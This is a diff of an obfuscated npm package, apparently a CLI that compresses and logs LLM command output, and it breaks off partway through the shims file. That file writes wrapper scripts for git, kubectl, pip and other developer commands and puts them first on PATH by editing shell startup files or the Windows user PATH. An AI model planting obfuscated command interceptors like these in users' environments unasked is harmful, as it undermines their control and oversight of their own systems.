+ 'use strict';const a0_0x43ce73=a0_0x5698;(function(_0x326b24,_0x26be06){const _0x50407e=a0_0x5698,_0x42cc36=_0x326b24();while(!![]){try{const _0x2f7208=-parseInt(_0x50407e(0x15d))/0x1*(parseInt(_0x50407e(0x137))/0x2)+parseInt(_0x50407e(0x163))/0x3*(-parseInt(_0x50407e(0x155))/0x4)+-parseInt(_0x50407e(0x12f))/0x5+-parseInt(_0x50407e(0x135))/0x6*(parseInt(_0x50407e(0x160))/0x7)+parseInt(_0x50407e(0x15c))/0x8+-parseInt(_0x50407e(0x14e))/0x9*(parseInt(_0x50407e(0x14d))/0xa)+parseInt(_0x50407e(0x14f))/0xb*(parseInt(_0x50407e(0x142))/0xc);if(_0x2f7208===_0x26be06)break;else _0x42cc36['push'](_0x42cc36['shift']());}catch(_0x3fe437){_0x42cc36['push'](_0x42cc36['shift']());}}}(a0_0x4de7,0x4b26f));function a0_0x5698(_0x22a70e,_0x97f9c7){_0x22a70e=_0x22a70e-0x12d;const _0x4de7c3=a0_0x4de7();let _0x569899=_0x4de7c3[_0x22a70e];return _0x569899;}function a0_0x4de7(){const _0x1d3a6b=['getOwnPropertyNames','child_process','writable','88160GfJXIB','162SjKPBu','11jIrAGu','tracker','runMcpProxy','2.0','jsonrpc','./filters','434172DJiwDy','text','result','line','stdin','error','readline','1399360pwEjXF','11707whesSH','default','content','427861JWXnEH','string','getConfig','6oFetZS','pipe','compressOutput','599890aLRTzk','exit','prototype','defineProperty','create','parse','18IvbObu','__createBinding','70oqRAIm','get','stdout','mcp-tool-call','spawn','call','__esModule','__importStar','mcp\x20tool\x20(id:\x20','length','logExecution','14661228pgemfC','./tracker','isArray','redaction_enabled','write','stringify','configurable','hasOwnProperty'];a0_0x4de7=function(){return _0x1d3a6b;};return a0_0x4de7();}var __createBinding=this&&this[a0_0x43ce73(0x136)]||(Object[a0_0x43ce73(0x133)]?function(_0x3d9c50,_0xd0d05f,_0x3c2fd8,_0x5b3113){const _0x36e4fc=a0_0x43ce73;if(_0x5b3113===undefined)_0x5b3113=_0x3c2fd8;var _0x26a469=Object['getOwnPropertyDescriptor'](_0xd0d05f,_0x3c2fd8);(!_0x26a469||(_0x36e4fc(0x138)in _0x26a469?!_0xd0d05f[_0x36e4fc(0x13d)]:_0x26a469[_0x36e4fc(0x14c)]||_0x26a469[_0x36e4fc(0x148)]))&&(_0x26a469={'enumerable':!![],'get':function(){return _0xd0d05f[_0x3c2fd8];}}),Object['defineProperty'](_0x3d9c50,_0x5b3113,_0x26a469);}:function(_0x4e49f2,_0x1ada5d,_0x4987e2,_0x4fa75a){if(_0x4fa75a===undefined)_0x4fa75a=_0x4987e2;_0x4e49f2[_0x4fa75a]=_0x1ada5d[_0x4987e2];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x43ce73(0x133)]?function(_0x3c839c,_0x2c7ed0){const _0x4c8231=a0_0x43ce73;Object[_0x4c8231(0x132)](_0x3c839c,'default',{'enumerable':!![],'value':_0x2c7ed0});}:function(_0x2505c6,_0x30ff5e){_0x2505c6['default']=_0x30ff5e;}),__importStar=this&&this[a0_0x43ce73(0x13e)]||(function(){var _0x3c1b4c=function(_0x3bfac6){const _0x300c32=a0_0x5698;return _0x3c1b4c=Object[_0x300c32(0x14a)]||function(_0x106213){const _0x56a6cf=_0x300c32;var _0x11b604=[];for(var _0x37e082 in _0x106213)if(Object[_0x56a6cf(0x131)][_0x56a6cf(0x149)][_0x56a6cf(0x13c)](_0x106213,_0x37e082))_0x11b604[_0x11b604['length']]=_0x37e082;return _0x11b604;},_0x3c1b4c(_0x3bfac6);};return function(_0x1ef485){const _0xe092c9=a0_0x5698;if(_0x1ef485&&_0x1ef485['__esModule'])return _0x1ef485;var _0x76be6c={};if(_0x1ef485!=null){for(var _0x3559ff=_0x3c1b4c(_0x1ef485),_0x20821d=0x0;_0x20821d<_0x3559ff[_0xe092c9(0x140)];_0x20821d++)if(_0x3559ff[_0x20821d]!==_0xe092c9(0x15e))__createBinding(_0x76be6c,_0x1ef485,_0x3559ff[_0x20821d]);}return __setModuleDefault(_0x76be6c,_0x1ef485),_0x76be6c;};}());Object[a0_0x43ce73(0x132)](exports,a0_0x43ce73(0x13d),{'value':!![]}),exports[a0_0x43ce73(0x151)]=runMcpProxy;const child_process_1=require(a0_0x43ce73(0x14b)),readline=__importStar(require(a0_0x43ce73(0x15b))),filters_1=require(a0_0x43ce73(0x154)),tracker_1=require(a0_0x43ce73(0x143));function runMcpProxy(_0x5f3ec6,_0x2f0ddd){const _0x9bc06d=a0_0x43ce73,_0x4c1998=(0x0,child_process_1[_0x9bc06d(0x13b)])(_0x5f3ec6,_0x2f0ddd,{'stdio':['pipe','pipe','inherit']});process[_0x9bc06d(0x159)][_0x9bc06d(0x12d)](_0x4c1998[_0x9bc06d(0x159)]);const _0x521038=readline['createInterface']({'input':_0x4c1998[_0x9bc06d(0x139)],'terminal':![]});_0x521038['on'](_0x9bc06d(0x158),_0xdccfab=>{const _0x882978=_0x9bc06d;try{const _0x2402cb=JSON[_0x882978(0x134)](_0xdccfab);if(_0x2402cb&&_0x2402cb[_0x882978(0x153)]===_0x882978(0x152)&&_0x2402cb['id']!==undefined&&_0x2402cb[_0x882978(0x157)]&&Array[_0x882978(0x144)](_0x2402cb['result'][_0x882978(0x15f)])){let _0x2d23bc=![];for(const _0x4dcb66 of _0x2402cb[_0x882978(0x157)]['content']){if(_0x4dcb66['type']===_0x882978(0x156)&&typeof _0x4dcb66[_0x882978(0x156)]===_0x882978(0x161)&&_0x4dcb66[_0x882978(0x156)]['trim']()['length']>0x0){const _0x1799cd=_0x4dcb66[_0x882978(0x156)],_0x52d54d=(0x0,filters_1[_0x882978(0x12e)])(_0x882978(0x13a),_0x1799cd,'',tracker_1[_0x882978(0x150)][_0x882978(0x162)]()[_0x882978(0x145)]);tracker_1[_0x882978(0x150)][_0x882978(0x141)](_0x882978(0x13f)+_0x2402cb['id']+')',_0x1799cd,_0x52d54d,0x0),_0x4dcb66[_0x882978(0x156)]=_0x52d54d,_0x2d23bc=!![];}}_0x2d23bc?process[_0x882978(0x139)][_0x882978(0x146)](JSON[_0x882978(0x147)](_0x2402cb)+'\x0a'):process[_0x882978(0x139)][_0x882978(0x146)](_0xdccfab+'\x0a');}else process['stdout'][_0x882978(0x146)](_0xdccfab+'\x0a');}catch{process[_0x882978(0x139)][_0x882978(0x146)](_0xdccfab+'\x0a');}}),_0x4c1998['on']('close',_0x5a2ae5=>{const _0x44cb9b=_0x9bc06d;process[_0x44cb9b(0x130)](_0x5a2ae5||0x0);}),_0x4c1998['on'](_0x9bc06d(0x15a),_0x5216c0=>{const _0x443118=_0x9bc06d;console[_0x443118(0x15a)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x5216c0['message']),process[_0x443118(0x130)](0x1);});}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "trimprompt",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
5
5
  "main": "cli.js",
6
6
  "bin": {
package/redactor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2562(){const _0x60970c=['30YePDRz','[REDACTED_EMAIL]','$1:\x20[REDACTED_CREDENTIAL]','regex','2078791fNxNNQ','loadDefaultRules','[REDACTED_DB_CONNECTION_STRING]','Email\x20Address','IPv4\x20Address','234WZzVMB','1634868hiMlUo','replace','1061202xuXYdx','2047CjQFLx','261108scfvsM','[REDACTED_IP]','48SVMVpd','Database\x20Connection\x20String','104GxPiiS','52rbjqDK','API\x20Key\x20or\x20Password','67575gQDbEw','rules','2575005XivneZ','redact','redactor','14wGBGsK','Redactor','__esModule'];a0_0x2562=function(){return _0x60970c;};return a0_0x2562();}const a0_0x34c083=a0_0x5626;(function(_0x4c0454,_0x4c6815){const _0x30bc7c=a0_0x5626,_0xabbfd6=_0x4c0454();while(!![]){try{const _0x2213f0=-parseInt(_0x30bc7c(0x15c))/0x1*(-parseInt(_0x30bc7c(0x158))/0x2)+-parseInt(_0x30bc7c(0x147))/0x3*(-parseInt(_0x30bc7c(0x162))/0x4)+-parseInt(_0x30bc7c(0x149))/0x5+parseInt(_0x30bc7c(0x15b))/0x6*(-parseInt(_0x30bc7c(0x14c))/0x7)+-parseInt(_0x30bc7c(0x15f))/0x8*(-parseInt(_0x30bc7c(0x15d))/0x9)+-parseInt(_0x30bc7c(0x14f))/0xa*(parseInt(_0x30bc7c(0x153))/0xb)+parseInt(_0x30bc7c(0x159))/0xc*(parseInt(_0x30bc7c(0x161))/0xd);if(_0x2213f0===_0x4c6815)break;else _0xabbfd6['push'](_0xabbfd6['shift']());}catch(_0x13e44f){_0xabbfd6['push'](_0xabbfd6['shift']());}}}(a0_0x2562,0x580b6));Object['defineProperty'](exports,a0_0x34c083(0x14e),{'value':!![]}),exports[a0_0x34c083(0x14b)]=exports[a0_0x34c083(0x14d)]=void 0x0;class Redactor{[a0_0x34c083(0x148)]=[];constructor(){const _0x521d19=a0_0x34c083;this[_0x521d19(0x154)]();}['loadDefaultRules'](){const _0x3df798=a0_0x34c083;this[_0x3df798(0x148)]=[{'name':_0x3df798(0x160),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x3df798(0x155)},{'name':_0x3df798(0x146),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3df798(0x151)},{'name':_0x3df798(0x157),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3df798(0x15e)},{'name':_0x3df798(0x156),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3df798(0x150)}];}[a0_0x34c083(0x14a)](_0xb73197){const _0x2de443=a0_0x34c083;let _0x149a39=_0xb73197;for(const _0x4d6fd9 of this['rules']){_0x149a39=_0x149a39[_0x2de443(0x15a)](_0x4d6fd9[_0x2de443(0x152)],_0x4d6fd9['replacement']);}return _0x149a39;}}function a0_0x5626(_0x3d25ae,_0x19a8cb){_0x3d25ae=_0x3d25ae-0x146;const _0x25627d=a0_0x2562();let _0x56267c=_0x25627d[_0x3d25ae];return _0x56267c;}exports[a0_0x34c083(0x14d)]=Redactor,exports['redactor']=new Redactor();
1
+ 'use strict';const a0_0x4c34f2=a0_0x4532;function a0_0x4532(_0x1a9f35,_0x15805c){_0x1a9f35=_0x1a9f35-0xb2;const _0x2c95ce=a0_0x2c95();let _0x453263=_0x2c95ce[_0x1a9f35];return _0x453263;}(function(_0x46a591,_0xafe142){const _0x1b80bb=a0_0x4532,_0x5c328b=_0x46a591();while(!![]){try{const _0x45909e=parseInt(_0x1b80bb(0xb6))/0x1*(-parseInt(_0x1b80bb(0xc1))/0x2)+parseInt(_0x1b80bb(0xb5))/0x3+parseInt(_0x1b80bb(0xcf))/0x4*(parseInt(_0x1b80bb(0xcc))/0x5)+parseInt(_0x1b80bb(0xbf))/0x6*(parseInt(_0x1b80bb(0xc2))/0x7)+-parseInt(_0x1b80bb(0xb3))/0x8*(parseInt(_0x1b80bb(0xc3))/0x9)+parseInt(_0x1b80bb(0xc0))/0xa*(-parseInt(_0x1b80bb(0xc8))/0xb)+parseInt(_0x1b80bb(0xb8))/0xc*(parseInt(_0x1b80bb(0xbb))/0xd);if(_0x45909e===_0xafe142)break;else _0x5c328b['push'](_0x5c328b['shift']());}catch(_0xe3dbcc){_0x5c328b['push'](_0x5c328b['shift']());}}}(a0_0x2c95,0x71990));Object[a0_0x4c34f2(0xbe)](exports,a0_0x4c34f2(0xc5),{'value':!![]}),exports[a0_0x4c34f2(0xba)]=exports[a0_0x4c34f2(0xc9)]=void 0x0;class Redactor{[a0_0x4c34f2(0xca)]=[];constructor(){const _0x5c1a10=a0_0x4c34f2;this[_0x5c1a10(0xcb)]();}[a0_0x4c34f2(0xcb)](){const _0x155bf3=a0_0x4c34f2;this[_0x155bf3(0xca)]=[{'name':_0x155bf3(0xbd),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x155bf3(0xc6)},{'name':_0x155bf3(0xb9),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x155bf3(0xbc)},{'name':_0x155bf3(0xce),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x155bf3(0xc7)},{'name':_0x155bf3(0xb2),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x155bf3(0xb4)}];}[a0_0x4c34f2(0xb7)](_0x2bbf8a){const _0x4358d0=a0_0x4c34f2;let _0xd2cdb1=_0x2bbf8a;for(const _0x3d0375 of this[_0x4358d0(0xca)]){_0xd2cdb1=_0xd2cdb1[_0x4358d0(0xc4)](_0x3d0375['regex'],_0x3d0375[_0x4358d0(0xcd)]);}return _0xd2cdb1;}}exports['Redactor']=Redactor,exports[a0_0x4c34f2(0xba)]=new Redactor();function a0_0x2c95(){const _0x50831b=['loadDefaultRules','5DodQlD','replacement','IPv4\x20Address','2925968JhwpSM','Email\x20Address','8NPAXTQ','[REDACTED_EMAIL]','498549ypXFiW','31438nzDjCR','redact','17040BicSvp','API\x20Key\x20or\x20Password','redactor','9841iUYUgL','$1:\x20[REDACTED_CREDENTIAL]','Database\x20Connection\x20String','defineProperty','8766uuRXSI','164930JxXVHs','46iwsiGF','840MGLZeA','7151715YeTEMJ','replace','__esModule','[REDACTED_DB_CONNECTION_STRING]','[REDACTED_IP]','110yuXpTc','Redactor','rules'];a0_0x2c95=function(){return _0x50831b;};return a0_0x2c95();}
package/seed.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x331bcd=a0_0x1890;function a0_0x1890(_0xb0e3b8,_0x2c978e){_0xb0e3b8=_0xb0e3b8-0x124;const _0x5465a0=a0_0x5465();let _0x18906d=_0x5465a0[_0xb0e3b8];return _0x18906d;}(function(_0x5d53c3,_0x39b47f){const _0x1ce809=a0_0x1890,_0x312201=_0x5d53c3();while(!![]){try{const _0x1f4b94=-parseInt(_0x1ce809(0x12e))/0x1*(parseInt(_0x1ce809(0x142))/0x2)+-parseInt(_0x1ce809(0x125))/0x3+parseInt(_0x1ce809(0x12d))/0x4*(parseInt(_0x1ce809(0x130))/0x5)+parseInt(_0x1ce809(0x12c))/0x6*(parseInt(_0x1ce809(0x126))/0x7)+-parseInt(_0x1ce809(0x13c))/0x8*(parseInt(_0x1ce809(0x146))/0x9)+-parseInt(_0x1ce809(0x135))/0xa*(parseInt(_0x1ce809(0x137))/0xb)+parseInt(_0x1ce809(0x13a))/0xc;if(_0x1f4b94===_0x39b47f)break;else _0x312201['push'](_0x312201['shift']());}catch(_0x59f00a){_0x312201['push'](_0x312201['shift']());}}}(a0_0x5465,0xe0885));function a0_0x5465(){const _0x51db8a=['[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','360820lTDVQi','docker\x20build\x20.','484JIpNpd','gemini-1-5-pro','defineProperty','35726952xxtKaE','__esModule','32QmywuA','claude-3-opus','Optimizing\x20assets...\x0a','Database\x20successfully\x20seeded!','repeat','[INFO]\x20Building\x20modules...\x0a','446hzGhOF','test_db.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','log','2012994TUvLpc','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','1617165AbaYPM','7vupbol','Successfully\x20built\x20image.','gpt-4o','Test\x20suite\x20run\x20starting...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','tracker','7488258rdBcGl','4KJXORn','4314QqAdoq','./tracker','3388725gKATuv','npm\x20run\x20build','logExecution','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'];a0_0x5465=function(){return _0x51db8a;};return a0_0x5465();}Object[a0_0x331bcd(0x139)](exports,a0_0x331bcd(0x13b),{'value':!![]});const tracker_1=require(a0_0x331bcd(0x12f));console['log'](a0_0x331bcd(0x124)),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x13d),tracker_1[a0_0x331bcd(0x12b)]['logExecution'](a0_0x331bcd(0x131),'Compilation\x20Output:\x0a'+a0_0x331bcd(0x141)+a0_0x331bcd(0x13e)+a0_0x331bcd(0x134)[a0_0x331bcd(0x140)](0x190),a0_0x331bcd(0x12a),0x0),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x128),tracker_1[a0_0x331bcd(0x12b)]['logExecution']('pytest\x20tests/app',a0_0x331bcd(0x129)+a0_0x331bcd(0x144)+a0_0x331bcd(0x143)+a0_0x331bcd(0x149)['repeat'](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x331bcd(0x147),0x0),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x138),tracker_1[a0_0x331bcd(0x12b)][a0_0x331bcd(0x132)](a0_0x331bcd(0x136),a0_0x331bcd(0x14a)+a0_0x331bcd(0x148)+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+a0_0x331bcd(0x133)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x331bcd(0x140)](0x3)+a0_0x331bcd(0x127),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x331bcd(0x145)](a0_0x331bcd(0x13f));
1
+ 'use strict';const a0_0x3e1c07=a0_0x6e84;function a0_0x5851(){const _0x3f84e3=['248idcUjI','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','3510828obkubZ','gemini-1-5-pro','832uhLsiE','test_auth.py\x20PASS\x0a','2271824hJvDPT','Compilation\x20Output:\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','pytest\x20tests/app','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Successfully\x20built\x20image.','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','log','logExecution','3aeBkfL','repeat','npm\x20run\x20build','Optimizing\x20assets...\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','docker\x20build\x20.','tracker','10KlODYg','[INFO]\x20Building\x20modules...\x0a','1270ATFQZQ','144678YLIyFZ','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Test\x20suite\x20run\x20starting...\x0a','115471WlNCXK','test_db.py\x20PASS\x0a','1397FNGPdF','219048RDughS','claude-3-opus','__esModule','8YrFKLn','23611QnyxaI'];a0_0x5851=function(){return _0x3f84e3;};return a0_0x5851();}function a0_0x6e84(_0x1ede71,_0x19197c){_0x1ede71=_0x1ede71-0x186;const _0x585158=a0_0x5851();let _0x6e848b=_0x585158[_0x1ede71];return _0x6e848b;}(function(_0x31430c,_0x2bf7b6){const _0x19c5b2=a0_0x6e84,_0x4eb7c9=_0x31430c();while(!![]){try{const _0x589a18=-parseInt(_0x19c5b2(0x19a))/0x1*(-parseInt(_0x19c5b2(0x1a0))/0x2)+parseInt(_0x19c5b2(0x18d))/0x3*(parseInt(_0x19c5b2(0x1a8))/0x4)+-parseInt(_0x19c5b2(0x194))/0x5*(parseInt(_0x19c5b2(0x197))/0x6)+-parseInt(_0x19c5b2(0x1a1))/0x7*(-parseInt(_0x19c5b2(0x1a2))/0x8)+parseInt(_0x19c5b2(0x1a4))/0x9+parseInt(_0x19c5b2(0x196))/0xa*(-parseInt(_0x19c5b2(0x19c))/0xb)+-parseInt(_0x19c5b2(0x19d))/0xc*(parseInt(_0x19c5b2(0x1a6))/0xd);if(_0x589a18===_0x2bf7b6)break;else _0x4eb7c9['push'](_0x4eb7c9['shift']());}catch(_0x4aea00){_0x4eb7c9['push'](_0x4eb7c9['shift']());}}}(a0_0x5851,0x4742c));Object['defineProperty'](exports,a0_0x3e1c07(0x19f),{'value':!![]});const tracker_1=require('./tracker');console[a0_0x3e1c07(0x18b)]('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process.env.TRIMPROMPT_MODEL=a0_0x3e1c07(0x19e),tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x18f),a0_0x3e1c07(0x1a9)+a0_0x3e1c07(0x195)+a0_0x3e1c07(0x190)+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x3e1c07(0x18e)](0x190),'[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)',0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x187),a0_0x3e1c07(0x199)+a0_0x3e1c07(0x1a7)+a0_0x3e1c07(0x19b)+'test_api.py\x20PASS\x0a'[a0_0x3e1c07(0x18e)](0x12c)+a0_0x3e1c07(0x191),a0_0x3e1c07(0x188),0x0),process.env.TRIMPROMPT_MODEL=a0_0x3e1c07(0x1a5),tracker_1[a0_0x3e1c07(0x193)][a0_0x3e1c07(0x18c)](a0_0x3e1c07(0x192),a0_0x3e1c07(0x186)+a0_0x3e1c07(0x198)+a0_0x3e1c07(0x1a3)+a0_0x3e1c07(0x18a)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x3e1c07(0x18e)](0x3)+a0_0x3e1c07(0x189),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x3e1c07(0x18b)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x440f2a=a0_0x1eda;(function(_0x2a3960,_0x45137c){const _0x1a270d=a0_0x1eda,_0x18d0aa=_0x2a3960();while(!![]){try{const _0x5de5ba=parseInt(_0x1a270d(0xee))/0x1*(parseInt(_0x1a270d(0xd7))/0x2)+-parseInt(_0x1a270d(0x100))/0x3*(parseInt(_0x1a270d(0xd5))/0x4)+parseInt(_0x1a270d(0xe5))/0x5+-parseInt(_0x1a270d(0xdb))/0x6*(-parseInt(_0x1a270d(0xf8))/0x7)+parseInt(_0x1a270d(0xd9))/0x8+-parseInt(_0x1a270d(0x111))/0x9+-parseInt(_0x1a270d(0xda))/0xa;if(_0x5de5ba===_0x45137c)break;else _0x18d0aa['push'](_0x18d0aa['shift']());}catch(_0x4a5701){_0x18d0aa['push'](_0x18d0aa['shift']());}}}(a0_0x3fb6,0x6cc0f));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x1de0ab,_0x2acaeb,_0x445f47,_0x30585f){const _0x389dd5=a0_0x1eda;if(_0x30585f===undefined)_0x30585f=_0x445f47;var _0x2c92bf=Object['getOwnPropertyDescriptor'](_0x2acaeb,_0x445f47);(!_0x2c92bf||(_0x389dd5(0xe9)in _0x2c92bf?!_0x2acaeb[_0x389dd5(0xe2)]:_0x2c92bf['writable']||_0x2c92bf['configurable']))&&(_0x2c92bf={'enumerable':!![],'get':function(){return _0x2acaeb[_0x445f47];}}),Object[_0x389dd5(0xec)](_0x1de0ab,_0x30585f,_0x2c92bf);}:function(_0x2046a9,_0xc344cf,_0x5c32b0,_0x2867c9){if(_0x2867c9===undefined)_0x2867c9=_0x5c32b0;_0x2046a9[_0x2867c9]=_0xc344cf[_0x5c32b0];}),__setModuleDefault=this&&this[a0_0x440f2a(0xed)]||(Object[a0_0x440f2a(0x112)]?function(_0x46c5b6,_0x62babb){const _0x1e8fe5=a0_0x440f2a;Object['defineProperty'](_0x46c5b6,_0x1e8fe5(0x104),{'enumerable':!![],'value':_0x62babb});}:function(_0x13560b,_0x5c3f38){const _0x252408=a0_0x440f2a;_0x13560b[_0x252408(0x104)]=_0x5c3f38;}),__importStar=this&&this['__importStar']||(function(){var _0x1cf7e3=function(_0x3a37dc){return _0x1cf7e3=Object['getOwnPropertyNames']||function(_0x875f16){const _0x16b7a9=a0_0x1eda;var _0x1fdb04=[];for(var _0x11e73a in _0x875f16)if(Object['prototype'][_0x16b7a9(0xdf)][_0x16b7a9(0xef)](_0x875f16,_0x11e73a))_0x1fdb04[_0x1fdb04['length']]=_0x11e73a;return _0x1fdb04;},_0x1cf7e3(_0x3a37dc);};return function(_0x8420e7){const _0x34fdca=a0_0x1eda;if(_0x8420e7&&_0x8420e7['__esModule'])return _0x8420e7;var _0x469427={};if(_0x8420e7!=null){for(var _0x10634d=_0x1cf7e3(_0x8420e7),_0x3846e6=0x0;_0x3846e6<_0x10634d[_0x34fdca(0xfe)];_0x3846e6++)if(_0x10634d[_0x3846e6]!==_0x34fdca(0x104))__createBinding(_0x469427,_0x8420e7,_0x10634d[_0x3846e6]);}return __setModuleDefault(_0x469427,_0x8420e7),_0x469427;};}());Object[a0_0x440f2a(0xec)](exports,'__esModule',{'value':!![]}),exports['installShims']=installShims,exports[a0_0x440f2a(0xcc)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x440f2a(0xfc))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x440f2a(0xe0),'gh','glab',a0_0x440f2a(0x10e),a0_0x440f2a(0xe8),a0_0x440f2a(0xdc),a0_0x440f2a(0xe3),a0_0x440f2a(0x110),'kubectl',a0_0x440f2a(0x10c),'pytest','pip',a0_0x440f2a(0xfa),'go'];function a0_0x1eda(_0x1232c0,_0x20b349){_0x1232c0=_0x1232c0-0xcc;const _0x3fb6f5=a0_0x3fb6();let _0x1eda9c=_0x3fb6f5[_0x1232c0];return _0x1eda9c;}function installShims(){const _0x3e41b6=a0_0x440f2a,_0x2db14a=path[_0x3e41b6(0xf7)](os['homedir'](),_0x3e41b6(0xd3),_0x3e41b6(0xfd));try{!fs['existsSync'](_0x2db14a)&&fs[_0x3e41b6(0xe4)](_0x2db14a,{'recursive':!![]});const _0x47209f=os[_0x3e41b6(0xf4)]()==='win32';for(const _0x269fbf of SHIMMED_COMMANDS){if(_0x47209f){const _0x5b4636=path['join'](_0x2db14a,_0x269fbf+_0x3e41b6(0xf9)),_0x255fc6=_0x3e41b6(0xcf)+_0x269fbf+_0x3e41b6(0xdd);fs[_0x3e41b6(0xd2)](_0x5b4636,_0x255fc6,_0x3e41b6(0x101));const _0x2bc15c=path[_0x3e41b6(0xf7)](_0x2db14a,_0x269fbf+'.ps1'),_0x157c53=_0x3e41b6(0x108)+_0x269fbf+'\x20$args\x0a';fs['writeFileSync'](_0x2bc15c,_0x157c53,_0x3e41b6(0x101));}else{const _0x322d1b=path[_0x3e41b6(0xf7)](_0x2db14a,_0x269fbf),_0x22e0ca=_0x3e41b6(0xd1)+_0x269fbf+_0x3e41b6(0xf3);fs[_0x3e41b6(0xd2)](_0x322d1b,_0x22e0ca,_0x3e41b6(0x101)),fs['chmodSync'](_0x322d1b,_0x3e41b6(0x107));}}let _0x3a517c=![],_0x14c556='';if(_0x47209f)try{const {execSync:_0x377864}=require(_0x3e41b6(0x103)),_0x3ed728=_0x3e41b6(0xd8),_0x635faa=_0x377864(_0x3e41b6(0x10f)+_0x3ed728+'\x22')[_0x3e41b6(0xd0)]()[_0x3e41b6(0xf2)]();if(!_0x635faa['includes'](_0x2db14a)){const _0x17fa19=_0x2db14a+';'+_0x635faa,_0x54ad40=_0x3e41b6(0xff)+_0x17fa19+'\x27,\x20\x27User\x27)';_0x377864(_0x3e41b6(0x10f)+_0x54ad40+'\x22'),_0x3a517c=!![];}else _0x3a517c=!![];}catch(_0x32a244){_0x14c556=_0x3e41b6(0xcd)+_0x2db14a;}else try{const _0x3f6fbe='export\x20PATH=\x22'+_0x2db14a+':$PATH\x22\x0a',_0x1c25ac=os[_0x3e41b6(0xea)](),_0x1a513c=[_0x3e41b6(0x10b),_0x3e41b6(0x109),_0x3e41b6(0x102),_0x3e41b6(0xf1)];let _0x9d88f=![];for(const _0x5b52cc of _0x1a513c){const _0xfc1144=path[_0x3e41b6(0xf7)](_0x1c25ac,_0x5b52cc);if(fs[_0x3e41b6(0xf5)](_0xfc1144)){const _0x10da33=fs['readFileSync'](_0xfc1144,_0x3e41b6(0x101));!_0x10da33[_0x3e41b6(0x106)](_0x2db14a)?(fs[_0x3e41b6(0xd6)](_0xfc1144,_0x3e41b6(0x105)+_0x3f6fbe),_0x9d88f=!![]):_0x9d88f=!![];}}if(!_0x9d88f){const _0x45e4bd=path['join'](_0x1c25ac,_0x3e41b6(0x10b));fs[_0x3e41b6(0xd6)](_0x45e4bd,_0x3e41b6(0x105)+_0x3f6fbe);}_0x3a517c=!![];}catch(_0x4d0d21){_0x14c556=_0x3e41b6(0xde)+_0x2db14a+_0x3e41b6(0x10a);}const 